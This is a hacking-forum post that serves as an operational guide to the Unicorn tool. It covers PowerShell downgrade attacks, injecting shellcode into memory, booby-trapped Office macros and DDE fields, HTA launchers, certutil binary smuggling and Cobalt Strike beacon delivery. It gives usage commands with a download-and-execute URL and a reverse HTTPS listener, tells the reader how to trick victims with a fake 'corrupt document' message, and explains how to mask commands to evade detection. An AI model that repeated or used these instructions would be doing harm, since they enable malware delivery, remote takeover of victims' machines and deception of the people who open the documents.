

Forum:[Hack Forums](#)

Thread: [Unicorn Downgrade Attack & Inject Shellcode Straight into Memory](#)

One - August 13, 2019, 12:12 pm

I have been studying and using Unicorn for 8 months now and i decided to share how it actually works with you Folks, You can even make a macro Doc exploit with this tool. A unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's PowerShell attacks and the PowerShell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.

Usage is simple, just run Magic Unicorn (ensure Metasploit is installed if using Metasploit methods and in the right path) and the magic unicorn will automatically generate a PowerShell command that you need to simply cut and paste the Powershell code into a command line window or through a payload delivery system. Unicorn supports your own shellcode, cobalt strike, and Metasploit.

POWERSHELL ATTACK INSTRUCTIONS

Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains all of the code needed in order to inject the PowerShell attack into memory. Note you will need a place that supports remote command injection of some sort. Often times this could be through an excel/word doc or through psexec_commands inside of Metasploit, SQLi, etc..

There are so many implications and scenarios to where you can use this attack at. Simply paste the powershell_attack.txt command in any command prompt window or where you have the ability to call the PowerShell executable and it will give a shell back to you. This attack also supports windows/download_exec for a payload method instead of just Meterpreter payloads. When using the download and exec, simply put python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe and the PowerShell code will download the payload and execute.

Note: You will need to have a listener enabled in order to capture the attack.

Spoiler ([Click to View](#)) MACRO ATTACK INSTRUCTIONS

For the macro attack, you will need to go to File, Properties, Ribbons, and select Developer. Once you do that, you will have a developer tab. Create a new macro, call it Auto_Open and paste the generated code into that. This will automatically run.

Note that a message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim into thinking the excel document is corrupted. You should get a shell through PowerShell injection after that.

If you are deploying this against Office365/2016+ versions of Word you need to modify the first line of the output from Sub Auto_Open()

To: Sub AutoOpen()

The name of the macro itself must also be "AutoOpen" instead of the legacy "Auto_Open" naming scheme.

NOTE: When copying and pasting the excel, if there are additional spaces that are added you need to remove these after each of the PowerShell code sections under variable "x" or a syntax error will happen!

HTA ATTACK INSTRUCTIONS

The HTA attack will automatically generate two files, the first the index.html which tells the browser to use Launcher.hta which contains the malicious PowerShell injection code. All files are exported to the hta_access/ folder and there will be three main files. The first is index.html, second Launcher.hta and the last, the unicorn.rc file. You can run msfconsole -r unicorn.rc to launch the listener for Metasploit.

A user must click allow and accept when using the HTA attack in order for the PowerShell injection to work properly.

CERUTIL Attack Instruction

The certutil attack vector was identified by Matthew Graeber which allows you to take a binary file, move it into a base64 format and use certutil on the victim machine to convert it back to a binary for you. This should work on virtually any system and allow you to transfer a binary to the victim machine through a fake certificate file. To use this attack, simply place an executable in the path of the unicorn and run python unicorn.py <exe_name> crt in order to get the base64 output. Once that's finished, go to decode_attack/ folder which contains the files. The bat file is a command that can be run in a windows machine to convert it back to a binary.

Custom PS1 Attack Instructions

This attack method allows you to convert any PowerShell file (.ps1) into an encoded command or macro.

Note: If choosing the macro option, a large ps1 file may exceed the amount of carriage returns allowed by VBA. You may change the number of characters in each VBA string by passing an integer as a parameter.

Examples:

```
python unicorn.py harmless.ps1 python unicorn.py myfile.ps1 macro python unicorn.py  
muahahaha.ps1 macro 500
```

The last one will use a 500 character string instead of the default 380, resulting in less carriage returns in VBA.

DDE Office COM Attack Instructions

This attack vector will generate the DDEAUTO formulate to place into Word or Excel. The COM object DDEInitialize and DDEExecute allow for formulas to be created directly within Office which causes the ability to gain remote code execution without the need of macros.

In order to use this attack, run the following examples:

```
python unicorn.py dde python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
```

Once generated, a powershell_attack.txt will be generated which contains the Office code, and the unicorn.rc file which is the listener component which can be called by msfconsole -r unicorn.rc to handle the listener for the payload. In addition, a download.ps1 will be exported as well (explained in the latter section).

In order to apply the payload, as an example:

Open Word

Insert tab -> Quick Parts -> Field

Choose = (Formula) and click ok.

Once the field is inserted, you should now see “!Unexpected End of Formula”

Right-click the Field, choose “Toggle Field Codes”

Paste in the code from Unicorn

Save the Word document.

Once the office document is opened, you should receive a shell through PowerShell injection. Note that DDE is limited on char size and we need to use Invoke-Expression (IEX) as the method to download.

The DDE attack will attempt to download download.ps1 which is our PowerShell injection attack since we are limited to size restrictions. You will need to move the download.ps1 to a location that is accessible by the victim machine. This means that you need to host the download.ps1 in an Apache2 directory that it has access to.

You may notice that some of the commands use “{ QUOTE” these are ways of masking specific commands which is documented here.

In this case, we are changing WindowsPowerShell, powershell.exe, and IEX to avoid detection. Also, check out the URL as it has some great methods for not calling DDE at all.

Import Cobalt Strike Beacon

This method will import direct Cobalt Strike Beacon shellcode directly from Cobalt Strike. Within Cobalt Strike, export the Cobalt Strike “CS” (C#) export and save it to a file. For example, call the file, cobalt_strike_file.cs.

The export code will look something like this:

```
length: 836 bytes */ byte[] buf = new byte[836] { 0xfc, etc
```

Next, for usage:

```
python unicorn.py cobalt_strike_file.cs cs
```

The cs argument tells Unicorn that you want to use the Cobalt strike functionality. The rest is Magic. Next simply copy the PowerShell command to something you have the ability for remote command execution.

NOTE: The file must be exported in the c# (cs) format within cobalt strike to parse properly.

There are some caveats with this attack. Note that the payload size will be a little over 14k+ in byte size. That means that from a command line argument perspective if you copy and paste you will hit the 8191 character size restriction (hardcoded into cmd.exe). If you are launching directly from cmd.exe this is an issue, however, if you are launching directly from PowerShell or other normal applications this is a non-problem.

A couple examples here, wscript.shell and PowerShell use USHORT – $65535 / 2 = 32767$ size limit:

```
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING;
```

For this attack, if you are launching directly from PowerShell, VBScript (WSCRIPT.SHELL), there is no issues.

Custom Shellcode Generation Method

This method will allow you to insert your own shellcode into the Unicorn attack. The PowerShell code will increase the stack side of the powershell.exe (through VirtualAlloc) and inject it into memory.

Note that in order for this to work, the txt file that you point Unicorn to must be formatted in the following format or it will not work:

0x00,0x00,0x00 and so on.

Also, note that there are size restrictions. The total length size of the PowerShell command cannot exceed the size of 8191. This is the max command line argument size limit in Windows.

Usage:

```
python uniocrn.py shellcode_formatted_properly.txt shellcode
```

Next simply copy the PowerShell command to something you have the ability for remote command execution.

NOTE: The file must properly be formatted in a 0x00,0x00,0x00 type format with nothing else other than your shellcode in the txt file.

There are some caveats with this attack. Note that if your payload size is large in nature it will not fit in cmd.exe. That means that from a command line argument perspective if you copy and paste you will hit the 8191 character size restriction (hardcoded into cmd.exe). If you are launching directly from cmd.exe this is an issue, however, if you are launching directly from PowerShell or other normal applications this is a non-problem.

A couple examples here, wscript.shell and PowerShell use USHORT – $65535 / 2 = 32767$ size limit:

```
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING;
```

For this attack, if you are launching directly from PowerShell, VBScript (WSCRIPT.SHELL), there is no issues.